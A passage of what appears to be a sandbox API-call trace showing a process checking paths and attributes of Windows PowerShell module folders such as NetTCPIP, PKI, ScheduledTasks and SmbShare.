ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0159.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.871] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0159.871] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", nBufferLength=0x41, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam", lpFilePart=0x0) returned 0x40 [0159.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.871] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetSwitchTeam" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\netswitchteam"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc425b0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e95e9fc, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.871] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0159.871] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", nBufferLength=0x3c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP", lpFilePart=0x0) returned 0x3b [0159.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.871] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetTCPIP" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\nettcpip"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc426217, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e984c6e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.872] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0159.872] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", nBufferLength=0x4d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus", lpFilePart=0x0) returned 0x4c [0159.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.872] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkConnectivityStatus" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networkconnectivitystatus"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc468c21, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e984c6e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.872] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x48 [0159.872] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager", nBufferLength=0x48, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager", lpFilePart=0x0) returned 0x47 [0159.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.872] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkSwitchManager" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networkswitchmanager"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.873] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0159.873] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", nBufferLength=0x45, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition", lpFilePart=0x0) returned 0x44 [0159.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.873] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\NetworkTransition" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\networktransition"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5046f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9aaec8, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0159.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.873] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PcsvDevice", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0159.873] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PcsvDevice", nBufferLength=0x3e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PcsvDevice", lpFilePart=0x0) returned 0x3d [0159.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.873] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PcsvDevice" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pcsvdevice"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc50532d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9d112b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.874] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0159.874] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", nBufferLength=0x37, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI", lpFilePart=0x0) returned 0x36 [0159.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.874] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PKI" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pki"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x976cbf0e, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x976cbf0e, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.874] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0159.874] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", nBufferLength=0x3d, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice", lpFilePart=0x0) returned 0x3c [0159.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.874] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PnpDevice" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\pnpdevice"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5a46ff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9d112b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.875] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0159.875] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", nBufferLength=0x43, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement", lpFilePart=0x0) returned 0x42 [0159.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.875] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PrintManagement" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\printmanagement"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc5a53a2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e9f739d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0159.875] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.875] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Provisioning", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0159.875] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Provisioning", nBufferLength=0x40, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Provisioning", lpFilePart=0x0) returned 0x3f [0159.875] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.876] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Provisioning" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\provisioning"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc6cc509, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea1d607, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.876] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.876] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0159.876] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0159.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.877] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x1828b299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.877] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0159.877] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0159.877] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.877] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8049ce, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea69acb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.877] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.878] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0159.878] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0159.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.878] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc804db7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.878] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0159.878] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow", nBufferLength=0x3e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow", lpFilePart=0x0) returned 0x3d [0159.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.878] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflow" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psworkflow"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8051d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.878] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x45 [0159.878] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility", nBufferLength=0x45, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility", lpFilePart=0x0) returned 0x44 [0159.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.879] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSWorkflowUtility" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\psworkflowutility"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc8055f7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.879] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0159.879] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", nBufferLength=0x42, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks", lpFilePart=0x0) returned 0x41 [0159.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.879] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\ScheduledTasks" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\scheduledtasks"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc90f57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1ea8fd3d, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0159.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.879] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0159.879] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", nBufferLength=0x3e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot", lpFilePart=0x0) returned 0x3d [0159.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.879] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SecureBoot" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\secureboot"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.880] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbShare", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3c [0159.880] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbShare", nBufferLength=0x3c, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbShare", lpFilePart=0x0) returned 0x3b [0159.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.880] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbShare" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\smbshare"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc9c0cbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8c1e1cae, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0159.880] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x250580e1b0) returned 1 [0159.880] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbWitness", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0159.880] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbWitness", nBufferLength=0x3e, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbWitness", lpFilePart=0x0) returned 0x3d [0159.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x250580e1f0) returned 1 [0159.880] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\SmbWitness" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\smbwitness"), fInfoLevelId=0x0, lpFileInformation=0x250580e2d0 | out: lpFileInformation=0x250580e2d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, 